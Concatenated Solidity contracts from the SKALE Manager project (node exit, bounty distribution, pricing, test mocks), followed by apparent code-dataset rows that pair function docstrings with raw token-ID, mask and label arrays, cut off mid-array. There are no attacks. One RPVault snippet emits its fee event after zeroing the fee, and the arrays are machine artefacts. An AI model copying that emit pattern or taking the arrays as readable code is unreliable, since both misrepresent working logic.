publicKey: publicKey,
nonce: nonce,
domainName: domainName
});
nodes.createNode(msg.sender, params);
}
function nodeExit(uint nodeIndex) external {
uint gasTotal = gasleft();
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint validatorId = nodes.getValidatorId(nodeIndex);
bool permitted = (_isOwner() || nodes.isNodeExist(msg.sender, nodeIndex));
if (!permitted && validatorService.validatorAddressExists(msg.sender)) {
permitted = validatorService.getValidatorId(msg.sender) == validatorId;
}
require(permitted, "Sender is not permitted to call this function");
nodeRotation.freezeSchains(nodeIndex);
if (nodes.isNodeActive(nodeIndex)) {
require(nodes.initExit(nodeIndex), "Initialization of node exit is failed");
}
require(nodes.isNodeLeaving(nodeIndex), "Node should be Leaving");
(bool completed, bool isSchains) = nodeRotation.exitFromSchain(nodeIndex);
if (completed) {
SchainsInternal(
contractManager.getContract("SchainsInternal")
).removeNodeFromAllExceptionSchains(nodeIndex);
require(nodes.completeExit(nodeIndex), "Finishing of node exit is failed");
nodes.changeNodeFinishTime(
nodeIndex,
now.add(
isSchains ?
ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() :
0
)
);
nodes.deleteNodeForValidator(validatorId, nodeIndex);
}
_refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft());
}
function deleteSchain(string calldata name) external {
Schains schains = Schains(contractManager.getContract("Schains"));
// schain owner checks inside deleteSchain
schains.deleteSchain(msg.sender, name);
}
function deleteSchainByRoot(string calldata name) external onlyAdmin {
Schains schains = Schains(contractManager.getContract("Schains"));
schains.deleteSchainByRoot(name);
}
function getBounty(uint nodeIndex) external {
uint gasTotal = gasleft();
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
require(nodes.isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender");
require(nodes.isTimeForReward(nodeIndex), "Not time for bounty");
require(!nodes.isNodeLeft(nodeIndex), "The node must not be in Left state");
BountyV2 bountyContract = BountyV2(contractManager.getContract("Bounty"));
uint bounty = bountyContract.calculateBounty(nodeIndex);
nodes.changeNodeLastRewardDate(nodeIndex);
uint validatorId = nodes.getValidatorId(nodeIndex);
if (bounty > 0) {
_payBounty(bounty, validatorId);
}
emit BountyReceived(
nodeIndex,
msg.sender,
0,
0,
bounty,
uint(-1),
block.timestamp,
gasleft());
_refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft());
}
function setVersion(string calldata newVersion) external onlyOwner {
version = newVersion;
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
_erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
_erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
}
function _payBounty(uint bounty, uint validatorId) private returns (bool) {
IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken"));
Distributor distributor = Distributor(contractManager.getContract("Distributor"));
require(
IMintableToken(address(skaleToken)).mint(address(distributor), bounty, abi.encode(validatorId), ""),
"Token was not minted"
);
}
function _refundGasByValidator(uint validatorId, address payable spender, uint spentGas) private {
uint gasCostOfRefundGasByValidator = 29000;
Wallets(payable(contractManager.getContract("Wallets")))
.refundGasByValidator(validatorId, spender, spentGas + gasCostOfRefundGasByValidator);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Distributor.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
import "../Permissions.sol";
import "../ConstantsHolder.sol";
import "../utils/MathUtils.sol";
import "./ValidatorService.sol";
import "./DelegationController.sol";
import "./DelegationPeriodManager.sol";
import "./TimeHelpers.sol";
/**
* @title Distributor
* @dev This contract handles all distribution functions of bounty and fee
* payments.
*/
contract Distributor is Permissions, IERC777Recipient {
using MathUtils for uint;
/**
* @dev Emitted when bounty is withdrawn.
*/
event WithdrawBounty(
address holder,
uint validatorId,
address destination,
uint amount
);
/**
* @dev Emitted when a validator fee is withdrawn.
*/
event WithdrawFee(
uint validatorId,
address destination,
uint amount
);
/**
* @dev Emitted when bounty is distributed.
*/
event BountyWasPaid(
uint validatorId,
uint amount
);
IERC1820Registry private _erc1820;
// validatorId => month => token
mapping (uint => mapping (uint => uint)) private _bountyPaid;
// validatorId => month => token
mapping (uint => mapping (uint => uint)) private _feePaid;
// holder => validatorId => month
mapping (address => mapping (uint => uint)) private _firstUnwithdrawnMonth;
// validatorId => month
mapping (uint => uint) private _firstUnwithdrawnMonthForValidator;
/**
* @dev Return and update the amount of earned bounty from a validator.
*/
function getAndUpdateEarnedBountyAmount(uint validatorId) external returns (uint earned, uint endMonth) {
return getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId);
}
/**
* @dev Allows msg.sender to withdraw earned bounty. Bounties are locked
* until launchTimestamp and BOUNTY_LOCKUP_MONTHS have both passed.
*
* Emits a {WithdrawBounty} event.
*
* Requirements:
*
* - Bounty must be unlocked.
*/
function withdrawBounty(uint validatorId, address to) external {
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
require(now >= timeHelpers.addMonths(
constantsHolder.launchTimestamp(),
constantsHolder.BOUNTY_LOCKUP_MONTHS()
), "Bounty is locked");
uint bounty;
uint endMonth;
(bounty, endMonth) = getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId);
_firstUnwithdrawnMonth[msg.sender][validatorId] = endMonth;
IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken"));
require(skaleToken.transfer(to, bounty), "Failed to transfer tokens");
emit WithdrawBounty(
msg.sender,
validatorId,
to,
bounty
);
}
/**
* @dev Allows `msg.sender` to withdraw earned validator fees. Fees are
* locked until launchTimestamp and BOUNTY_LOCKUP_MONTHS both have passed.
*
* Emits a {WithdrawFee} event.
*
* Requirements:
*
* - Fee must be unlocked.
*/
function withdrawFee(address to) external {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
require(now >= timeHelpers.addMonths(
constantsHolder.launchTimestamp(),
constantsHolder.BOUNTY_LOCKUP_MONTHS()
), "Fee is locked");
// check Validator Exist inside getValidatorId
uint validatorId = validatorService.getValidatorId(msg.sender);
uint fee;
uint endMonth;
(fee, endMonth) = getEarnedFeeAmountOf(validatorId);
_firstUnwithdrawnMonthForValidator[validatorId] = endMonth;
require(skaleToken.transfer(to, fee), "Failed to transfer tokens");
emit WithdrawFee(
validatorId,
to,
fee
);
}
function tokensReceived(
address,
address,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata
)
external override
allow("SkaleToken")
{
require(to == address(this), "Receiver is incorrect");
require(userData.length == 32, "Data length is incorrect");
uint validatorId = abi.decode(userData, (uint));
_distributeBounty(amount, validatorId);
}
/**
* @dev Return the amount of earned validator fees of `msg.sender`.
*/
function getEarnedFeeAmount() external view returns (uint earned, uint endMonth) {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
return getEarnedFeeAmountOf(validatorService.getValidatorId(msg.sender));
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
_erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
}
/**
* @dev Return and update the amount of earned bounties.
*/
function getAndUpdateEarnedBountyAmountOf(address wallet, uint validatorId)
public returns (uint earned, uint endMonth)
{
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
uint currentMonth = timeHelpers.getCurrentMonth();
uint startMonth = _firstUnwithdrawnMonth[wallet][validatorId];
if (startMonth == 0) {
startMonth = delegationController.getFirstDelegationMonth(wallet, validatorId);
if (startMonth == 0) {
return (0, 0);
}
}
earned = 0;
endMonth = currentMonth;
if (endMonth > startMonth.add(12)) {
endMonth = startMonth.add(12);
}
for (uint i = startMonth; i < endMonth; ++i) {
uint effectiveDelegatedToValidator =
delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, i);
if (effectiveDelegatedToValidator.muchGreater(0)) {
earned = earned.add(
_bountyPaid[validatorId][i].mul(
delegationController.getAndUpdateEffectiveDelegatedByHolderToValidator(wallet, validatorId, i))
.div(effectiveDelegatedToValidator)
);
}
}
}
/**
* @dev Return the amount of earned fees by validator ID.
*/
function getEarnedFeeAmountOf(uint validatorId) public view returns (uint earned, uint endMonth) {
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
uint currentMonth = timeHelpers.getCurrentMonth();
uint startMonth = _firstUnwithdrawnMonthForValidator[validatorId];
if (startMonth == 0) {
return (0, 0);
}
earned = 0;
endMonth = currentMonth;
if (endMonth > startMonth.add(12)) {
endMonth = startMonth.add(12);
}
for (uint i = startMonth; i < endMonth; ++i) {
earned = earned.add(_feePaid[validatorId][i]);
}
}
// private
/**
* @dev Distributes bounties to delegators.
*
* Emits a {BountyWasPaid} event.
*/
function _distributeBounty(uint amount, uint validatorId) private {
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
uint currentMonth = timeHelpers.getCurrentMonth();
uint feeRate = validatorService.getValidator(validatorId).feeRate;
uint fee = amount.mul(feeRate).div(1000);
uint bounty = amount.sub(fee);
_bountyPaid[validatorId][currentMonth] = _bountyPaid[validatorId][currentMonth].add(bounty);
_feePaid[validatorId][currentMonth] = _feePaid[validatorId][currentMonth].add(fee);
if (_firstUnwithdrawnMonthForValidator[validatorId] == 0) {
_firstUnwithdrawnMonthForValidator[validatorId] = currentMonth;
}
emit BountyWasPaid(validatorId, amount);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDKGTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SkaleDKG.sol";
contract SkaleDKGTester is SkaleDKG {
function setSuccessfulDKGPublic(bytes32 schainId) external {
lastSuccesfulDKG[schainId] = now;
channels[schainId].active = false;
KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId);
emit SuccessfulDKG(schainId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
NodesTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../Nodes.sol";
contract NodesTester is Nodes {
function removeNodeFromSpaceToNodes(uint nodeIndex) external {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_removeNodeFromSpaceToNodes(nodeIndex, space);
}
function removeNodesFromPlace(uint place, uint nodesAmount) external {
SegmentTree.Tree storage tree = _getNodesAmountBySpace();
tree.removeFromPlace(place, nodesAmount);
}
function amountOfNodesFromPlaceInTree(uint place) external view returns (uint) {
SegmentTree.Tree storage tree = _getNodesAmountBySpace();
return tree.sumFromPlaceToLast(place);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Pricing.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./Nodes.sol";
/**
* @title Pricing
* @dev Contains pricing operations for SKALE network.
*/
contract Pricing is Permissions {
uint public constant INITIAL_PRICE = 5 * 10**6;
uint public price;
uint public totalNodes;
uint public lastUpdated;
function initNodes() external {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
totalNodes = nodes.getNumberOnlineNodes();
}
/**
* @dev Adjust the schain price based on network capacity and demand.
*
* Requirements:
*
* - Cooldown time has exceeded.
*/
function adjustPrice() external {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
require(now > lastUpdated.add(constantsHolder.COOLDOWN_TIME()), "It's not a time to update a price");
checkAllNodes();
uint load = _getTotalLoad();
uint capacity = _getTotalCapacity();
bool networkIsOverloaded = load.mul(100) > constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity);
uint loadDiff;
if (networkIsOverloaded) {
loadDiff = load.mul(100).sub(constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity));
} else {
loadDiff = constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity).sub(load.mul(100));
}
uint priceChangeSpeedMultipliedByCapacityAndMinPrice =
constantsHolder.ADJUSTMENT_SPEED().mul(loadDiff).mul(price);
uint timeSkipped = now.sub(lastUpdated);
uint priceChange = priceChangeSpeedMultipliedByCapacityAndMinPrice
.mul(timeSkipped)
.div(constantsHolder.COOLDOWN_TIME())
.div(capacity)
.div(constantsHolder.MIN_PRICE());
if (networkIsOverloaded) {
assert(priceChange > 0);
price = price.add(priceChange);
} else {
if (priceChange > price) {
price = constantsHolder.MIN_PRICE();
} else {
price = price.sub(priceChange);
if (price < constantsHolder.MIN_PRICE()) {
price = constantsHolder.MIN_PRICE();
}
}
}
lastUpdated = now;
}
/**
* @dev Returns the total load percentage.
*/
function getTotalLoadPercentage() external view returns (uint) {
return _getTotalLoad().mul(100).div(_getTotalCapacity());
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
lastUpdated = now;
price = INITIAL_PRICE;
}
function checkAllNodes() public {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint numberOfActiveNodes = nodes.getNumberOnlineNodes();
require(totalNodes != numberOfActiveNodes, "No changes to node supply");
totalNodes = numberOfActiveNodes;
}
function _getTotalLoad() private view returns (uint) {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
uint load = 0;
uint numberOfSchains = schainsInternal.numberOfSchains();
for (uint i = 0; i < numberOfSchains; i++) {
bytes32 schain = schainsInternal.schainsAtSystem(i);
uint numberOfNodesInSchain = schainsInternal.getNumberOfNodesInGroup(schain);
uint part = schainsInternal.getSchainsPartOfNode(schain);
load = load.add(
numberOfNodesInSchain.mul(part)
);
}
return load;
}
function _getTotalCapacity() private view returns (uint) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
return nodes.getNumberOnlineNodes().mul(constantsHolder.TOTAL_SPACE_ON_NODE());
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SchainsInternalMock.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SchainsInternal.sol";
contract SchainsInternalMock is SchainsInternal {
function removePlaceOfSchainOnNode(bytes32 schainHash, uint nodeIndex) external {
delete placeOfSchainOnNode[schainHash][nodeIndex];
}
function removeNodeToLocked(uint nodeIndex) external {
mapping(uint => bytes32[]) storage nodeToLocked = _getNodeToLockedSchains();
delete nodeToLocked[nodeIndex];
}
function removeSchainToExceptionNode(bytes32 schainHash) external {
mapping(bytes32 => uint[]) storage schainToException = _getSchainToExceptionNodes();
delete schainToException[schainHash];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
LockerMock.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../interfaces/delegation/ILocker.sol";
contract LockerMock is ILocker {
function getAndUpdateLockedAmount(address) external override returns (uint) {
return 13;
}
function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) {
return 13;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
MathUtilsTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../utils/MathUtils.sol";
contract MathUtilsTester {
using MathUtils for uint;
function boundedSub(uint256 a, uint256 b) external returns (uint256) {
return a.boundedSub(b);
}
function boundedSubWithoutEvent(uint256 a, uint256 b) external pure returns (uint256) {
return a.boundedSubWithoutEvent(b);
}
function muchGreater(uint256 a, uint256 b) external pure returns (bool) {
return a.muchGreater(b);
}
function approximatelyEqual(uint256 a, uint256 b) external pure returns (bool) {
return a.approximatelyEqual(b);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SegmentTreeTester.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../utils/SegmentTree.sol";
contract SegmentTreeTester {
using SegmentTree for SegmentTree.Tree;
SegmentTree.Tree private _tree;
uint[129] private _places;
function initTree() external {
_tree.create(128);
for (uint8 i = 1; i <= 128; i++) {
if (_places[i] > 0)
_tree.addToPlace(i, _places[i]);
}
}
function addElemInPlaces(uint place, uint elem) external {
_places[place] = elem;
}
function addToLast(uint elem) external {
_tree.addToPlace(_tree.getSize(), elem);
}
function addToPlace(uint place, uint elem) external {
_tree.addToPlace(place, elem);
}
function removeFromPlace(uint place, uint elem) external {
_tree.removeFromPlace(place, elem);
}
function moveFromPlaceToPlace(uint fromPlace, uint toPlace, uint elem) external {
_tree.moveFromPlaceToPlace(fromPlace, toPlace, elem);
}
function sumFromPlaceToLast(uint place) external view returns (uint) {
return _tree.sumFromPlaceToLast(place);
}
function getRandomElem(uint place) external view returns (uint) {
Random.RandomGenerator memory randomGenerator = Random.createFromEntropy(
abi.encodePacked(uint(blockhash(block.number - 1)), place)
);
return _tree.getRandomNonZeroElementFromPlaceToLast(place, randomGenerator);
}
function getElem(uint index) external view returns (uint) {
require(index < _tree.tree.length, "Incorrect index");
return _tree.tree[index];
}
function getSize() external view returns (uint) {
return _tree.getSize();
}
}
| * @dev Allows Owner or SkaleManager to mint an amount of tokens and transfer minted tokens to a specified address. Returns whether the operation is successful. Requirements: - Mint must not exceed the total supply./onlyAuthorized | function mint(
address account,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external
override
allow("SkaleManager")
returns (bool)
{
require(amount <= CAP.sub(totalSupply()), "Amount is too big");
_mint(
account,
amount,
userData,
operatorData
);
return true;
}
| 9,880,064 | [
1,
19132,
16837,
578,
10362,
5349,
1318,
358,
312,
474,
392,
3844,
434,
2430,
471,
7412,
312,
474,
329,
2430,
358,
279,
1269,
1758,
18,
2860,
2856,
326,
1674,
353,
6873,
18,
29076,
30,
300,
490,
474,
1297,
486,
9943,
326,
2078,
14467,
18,
19,
3700,
15341,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
312,
474,
12,
203,
3639,
1758,
2236,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
1731,
745,
892,
13530,
16,
203,
3639,
1731,
745,
892,
3726,
751,
203,
565,
262,
203,
3639,
3903,
203,
3639,
3849,
203,
3639,
1699,
2932,
5925,
5349,
1318,
7923,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
2583,
12,
8949,
1648,
29720,
18,
1717,
12,
4963,
3088,
1283,
1435,
3631,
315,
6275,
353,
4885,
5446,
8863,
203,
3639,
389,
81,
474,
12,
203,
5411,
2236,
16,
203,
5411,
3844,
16,
203,
5411,
13530,
16,
203,
5411,
3726,
751,
203,
3639,
11272,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x1111306F3d849B133f533D6E9F7341d40De0cB4b/sources/src/RPVault.sol | @notice sends stored fee to fee distributor | function sendFee() public exceptManagementPhase {
if (storedFee == 0) {
revert FeeIsZero();
}
uint256 amount = storedFee;
storedFee = 0;
asset.transfer(feeDistributor, amount);
emit StoredFeeSent(storedFee);
}
| 8,293,639 | [
1,
4661,
87,
4041,
14036,
358,
14036,
1015,
19293,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1366,
14667,
1435,
1071,
1335,
10998,
11406,
288,
203,
3639,
309,
261,
22601,
14667,
422,
374,
13,
288,
203,
5411,
15226,
30174,
2520,
7170,
5621,
203,
3639,
289,
203,
3639,
2254,
5034,
3844,
273,
4041,
14667,
31,
203,
3639,
4041,
14667,
273,
374,
31,
203,
3639,
3310,
18,
13866,
12,
21386,
1669,
19293,
16,
3844,
1769,
203,
3639,
3626,
26548,
14667,
7828,
12,
22601,
14667,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
